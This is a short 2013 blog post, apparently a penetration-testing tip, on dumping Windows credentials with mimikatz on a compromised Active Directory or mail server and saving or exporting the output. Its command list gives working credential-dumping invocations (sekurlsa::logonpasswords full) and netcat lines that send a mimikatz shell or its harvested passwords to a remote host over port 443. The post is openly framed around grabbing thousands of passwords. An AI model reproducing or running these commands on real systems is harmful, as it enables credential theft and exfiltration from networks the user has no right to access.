Sunday, 15 December 2013

Mimikatz Logs and Netcat

Imagine a scenario where you have access to Active Directory, or Mail Server and you are able to run mimikatz on the server (This is Practical Scenario) , I am damn sure you will get hell lot of passwords out of it may be in 1000's , but problems you may face is output of mimikatz will so large that you can't copy it even after increasing your command prompt buffer, and decided to look for ways of saving Mimikatz output in some file, as there is very little info I could find, and decided to write little article on this.

Mimikatz Author Webpage Here

Log Mimikatz Output using "log command"

Using log Command

Generated Log File

Log Mimikatz output in file Manually:

Batch Command Method

Export Mimikatz Shell to Remote Machine Through Netcat :

Exporting Mimikatz Shell

Mimikatz through Netcat

Export Mimikatz Output to Remote Console

Exported Mimikatz Output

Mimikatz Output on remote console

Exported Mimikatz Output in file On remote machine

List of Commands Used:

  • mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit
  • mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit
  • mimikatz.exe ""privilege::debug"" ""log d:\log.txt sekurlsa::logonpasswords full"" exit
  • mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> d:\log.txt
  • nc.exe -vv IP 443 -e mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full "" exit
  • mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 443

Best Netcat Cheet Sheets from SANS Here

I Hope this article will be helpful to all of you!

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